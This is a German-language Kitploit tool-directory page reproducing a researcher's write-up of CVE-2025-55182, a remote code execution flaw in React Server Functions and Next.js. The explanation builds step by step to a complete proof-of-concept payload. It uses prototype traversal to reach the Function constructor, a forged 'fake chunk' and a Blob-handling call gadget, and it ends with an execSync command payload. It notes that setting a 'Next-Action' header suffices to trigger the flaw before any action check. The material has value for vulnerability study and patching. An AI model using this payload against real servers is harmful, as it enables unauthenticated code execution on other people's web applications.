Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182 — Erklärung und vollständiger RCE PoC für CVE-2025-55182 | Kitploit
Tools/GitHubGitHub/msanft/cve-2025-55182
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-Entwicklung
GitHubmsanft/cve-2025-55182

CVE-2025-55182

Erklärung und vollständiger RCE PoC für CVE-2025-55182

Repository anzeigen
1.4k198vor 8 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182

Diese Sicherheitslücke ermöglicht RCE in React Server Functions, wie sie z. B. von Next.js durch unsichere Prototyp-Referenzen angeboten werden.

Ich bin kein Experte für React oder Next.js, also nehmen Sie alle Informationen hier mit einer gewissen Vorsicht.

Hintergrund

React bietet Server-Funktionen1, die man als eine Art RPC über HTTP betrachten kann. Sie können verwendet werden, um Daten von benachbarten Peers mit geringer Latenz abzurufen oder authentifizierte Anfragen durchzuführen, für die dem Client die Berechtigungen fehlen.

React verwendet das sogenannte React Flight Protocol2 zur Serialisierung von Werten, die an Server-Funktionen übergeben werden.

Der Client übergibt "Chunks" an den Server, z. B. über Formulardaten:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Wie gezeigt, können diese Referenzen untereinander haben. Die obige Nutzlast deserialisiert auf dem Server zu Folgendem:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Das Format selbst ist etwas komplexer und erlaubt eine aufwändigere Serialisierung und Deserialisierung, aber dies bietet ein grundlegendes Verständnis für die eigentliche Sicherheitslücke.

Sicherheitslücke

Bis zu diesem Commit3 hat React beim Durchlaufen von Chunks während der Referenzauflösung (z. B. beim Abrufen von fruitName aus Chunk 2 im obigen Beispiel) nicht überprüft, ob der angeforderte Schlüssel tatsächlich auf dem Objekt gesetzt war. Dadurch konnte der Objektprototyp4 abgerufen werden.

Dies lässt sich mit einer Nutzlast wie dieser demonstrieren:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Was zum Funktionskonstruktor5 deserialisiert:

root@kitploit:~
[Function: Function]

Wenn der Chunk mit der ID 0 kein Array, sondern ein Objekt ist, können wir den Schlüssel then auf den Funktionskonstruktor setzen. Das Objekt wird dann von der Funktion decodeReplyFromBusboy zurückgegeben und von Next.js per await erwartet:

root@kitploit:~
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Wenn dies ein Thenable zurückgibt, ruft das await im Aufrufer es auf. Genau das passiert mit dieser Nutzlast:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Was zu diesem Fehler führt:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

Der Fehler sieht so aus, weil V8 eine await-ed Funktion mit den internen resolve- und reject-Funktionen aufruft, die, wenn sie in einen String umgewandelt werden, etwa so serialisiert werden:

root@kitploit:~
function () { [native code] }

Ausnutzung

Da wir problemlos den Function-Konstruktor abrufen können, besteht der naheliegende Weg darin, ein Call-Gadget zu finden, das den Konstruktor mit einem benutzergesteuerten Wert (also dem Code der Funktion als String) aufruft und später die zurückgegebene Funktion aufruft.

Es gibt mehrere Stellen, die den Funktionskonstruktor aufrufen können, zum Beispiel resolveServerReference, wo id ein kontrolliertes Objekt ist und lastIndexOf überschrieben werden kann, um einen benutzergesteuerten String zurückzugeben (z. B. über Array.prototype.join), und slice kann auf den Funktionskonstruktor überschrieben werden. Diese Stelle funktioniert jedoch nicht, da der zweite Aufruf von .slice() eine Zahl als erstes Argument liefert, die – nach bestem Wissen – vom Funktionskonstruktor nie verarbeitet werden kann.

Hier kommt eine brillante Idee von maple31426 ins Spiel. Wenn getChunk den Chunk mit der ID 0 als Wurzelreferenz zum Start der Auflösung der Referenzkette abruft, kann dieser selbe Chunk zu einem manipulierten "fake chunk" werden.

Wir können den manipulierten Chunk 0 in Chunk 1 mit der $@-Syntax referenzieren, die den "rohen" Chunk zurückgibt, nicht seinen aufgelösten Wert:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Kombiniert mit unserem then-Override von oben können wir etwa Folgendes konstruieren:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Hier überschreibt Chunk 0 seine eigene .then()-Methode mit der .then()-Methode seiner eigenen rohen Chunk-Darstellung. Einfach ausgedrückt überschreiben wir unsere eigene .then()-Methode mit Chunk.prototype.then, die existiert, da Chunks Thenables sind:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

Mit der obigen Nutzlast wird Chunk.prototype.then schließlich mit dem manipulierten Chunk mit der ID 0 aufgerufen.

Wie oben gezeigt, wenn .status auf unserem fake chunk resolved_model ist:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Gelangen wir in initializeModelChunk. Hier wird .value als JSON geparst und dann werden Referenzen auf dem zurückgegebenen Objekt aufgelöst, wobei der "äußere" Kontext unserer Chunks mit den IDs 0 und 1 verwendet wird:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Innerhalb dieses Schritts erhalten wir nun einen zweiten Durchlauf der Auswertung mit einigen zusätzlichen Werten, auf die wir aufgrund des bereits aufgelösten äußeren Kontexts Zugriff haben.

Es gibt ein Call-Gadget in der Handhabung von Blob-Daten mit dem Präfix $B im Flight Protocol:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Mit dem speziellen Feld _response steuern wir die Eigenschaft response des manipulierten Chunks:

root@kitploit:~
// in initializeModelChunk
value = reviveModel(chunk._response, // ...

Damit können wir ein Objekt mit gefälschten ._formData- und ._prefix-Eigenschaften konstruieren:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

Der .reason muss hinzugefügt werden, um zu verhindern, dass der toString-Aufruf in initializeModelChunk fehlschlägt:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Indem wir ._formData auf den Funktionskonstruktor und ._prefix auf unseren Code zeigen, erhalten wir ein Aufruf-Gadget für den Funktionskonstruktor in der Blob-Deserialisierung:

root@kitploit:~
response._formData.get(response._prefix + "0")
// wird zu
Function("return foo; // 0")

Unsere konstruierte Funktion wird dann von parseModelString als .then()-Methode des manipulierten Chunks zurückgegeben, die ebenfalls per await erwartet wird, da dies alles in einer einzigen Promise-Auflösungskette stattfindet. Indem wir ein Thenable zurückgeben, wird unsere konstruierte Funktion aufgerufen. Dies stellt das oben erwähnte erforderliche Call-Gadget dar.

Setzt man dies alles mit einer echten RCE-Nutzlast zusammen, erhält man etwa Folgendes:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Der Bonus, der diese Sicherheitslücke noch verschlimmert, ist, dass all dies während der Deserialisierung geschieht, bevor die angeforderte Aktion überhaupt in getActionModIdOrError validiert wird. Daher reicht es aus, einen Header wie Next-Action: foo zu setzen, um die Sicherheitslücke auszulösen.

Footnotes

  1. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/msanft/cve-2025-55182/HEAD/%3Chttps:/x.com/maple3142%3E

Tool herunterladen
↩